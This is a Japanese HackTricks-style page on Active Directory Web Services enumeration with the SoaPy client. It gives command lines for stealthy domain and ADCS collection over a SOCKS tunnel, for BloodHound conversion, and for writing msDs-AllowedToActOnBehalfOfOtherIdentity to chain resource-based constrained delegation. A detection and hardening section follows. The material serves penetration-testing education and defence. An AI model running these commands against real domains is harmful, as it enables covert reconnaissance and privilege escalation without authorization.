6.8 KiB
Raw Blame History

Active Directory Web Services (ADWS) Enumeration & Stealth Collection

{{#include ../../banners/hacktricks-training.md}}

ADWSとは

Active Directory Web Services (ADWS)は、Windows Server 2008 R2以降のすべてのドメインコントローラーでデフォルトで有効になっており、TCP 9389でリッスンしています。名前に反して、HTTPは関与していません。代わりに、このサービスは独自の.NETフレーミングプロトコルのスタックを介してLDAPスタイルのデータを公開します

  • MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF

トラフィックはこれらのバイナリSOAPフレーム内にカプセル化され、一般的でないポートを通過するため、ADWSを通じた列挙は、従来のLDAP/389および636トラフィックよりも検査、フィルタリング、または署名される可能性がはるかに低いです。オペレーターにとって、これは意味します:

  • ステルスな偵察 ブルーチームはしばしばLDAPクエリに集中します。
  • **非WindowsホストLinux、macOS**から9389/TCPをSOCKSプロキシを通じてトンネリングする自由。
  • LDAPを介して取得するのと同じデータユーザー、グループ、ACL、スキーマなどと、書き込みを行う能力(例:RBCDのためのmsDs-AllowedToActOnBehalfOfOtherIdentity)。

ADWSは多くのRSAT GUI/PowerShellツールでも使用されているため、トラフィックは正当な管理者の活動と混在する可能性があります。

SoaPy ネイティブPythonクライアント

SoaPyは、純粋なPythonでのADWSプロトコルスタックの完全な再実装です。NBFX/NBFSE/NNS/NMFフレームをバイト単位で作成し、.NETランタイムに触れることなくUnix系システムからの収集を可能にします。

主な機能

  • SOCKSを介したプロキシをサポートC2インプラントから便利
  • LDAPの-q '(objectClass=user)'と同じ細かい検索フィルター。
  • オプションの書き込み操作(--set / --delete)。
  • BloodHoundへの直接取り込みのためのBOFHound出力モード
  • 人間の可読性が必要な場合にタイムスタンプやuserAccountControlを整形するための--parseフラグ。

インストール(オペレーターのホスト)

python3 -m pip install soapy-adws   # or git clone && pip install -r requirements.txt

ステルスADコレクションワークフロー

以下のワークフローは、ADWSを介してドメインおよびADCSオブジェクトを列挙し、それらをBloodHound JSONに変換し、証明書ベースの攻撃経路を追跡する方法を示しています - すべてLinuxから:

  1. ターゲットネットワークからあなたのボックスへの9389/TCPトンネルChisel、Meterpreter、SSH動的ポートフォワードなどexport HTTPS_PROXY=socks5://127.0.0.1:1080をエクスポートするか、SoaPyの--proxyHost/--proxyPortを使用します。

  2. ルートドメインオブジェクトを収集する:

soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
  1. Configuration NCからADCS関連オブジェクトを収集する:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
  1. BloodHoundに変換する:
bofhound -i data --zip   # produces BloodHound.zip
  1. ZIPをBloodHound GUIにアップロードし、MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,cのようなサイファークエリを実行して、証明書昇格パスESC1、ESC8などを明らかにします。

msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)の記述

soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'

s4u2proxy/Rubeus /getticketを組み合わせて、完全なリソースベースの制約付き委任チェーンを作成します。

検出と強化

詳細なADDSログ記録

ドメインコントローラーで以下のレジストリキーを有効にして、ADWSおよびLDAPからの高コスト/非効率的な検索を明らかにします:

New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD

イベントはDirectory-Serviceの下に表示され、完全なLDAPフィルターが適用されます。クエリがADWS経由で到着した場合でも同様です。

SACLカナリアオブジェクト

  1. ダミーオブジェクト(例:無効なユーザーCanaryUser)を作成します。
  2. Everyone プリンシパルに対してAudit ACEを追加し、ReadPropertyで監査します。
  3. 攻撃者が(servicePrincipalName=*)(objectClass=user)などを実行するたびに、DCはEvent 4662を発行し、実際のユーザーSIDを含みます。リクエストがプロキシされている場合やADWSから発信されている場合でも同様です。

Elasticの事前構築ルールの例

(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"

ツール概要

目的 ツール ノート
ADWS列挙 SoaPy Python, SOCKS, 読み書き
BloodHound取り込み BOFHound SoaPy/ldapsearchログを変換
証明書の妥協 Certipy 同じSOCKSを通じてプロキシ可能

参考文献

{{#include ../../banners/hacktricks-training.md}}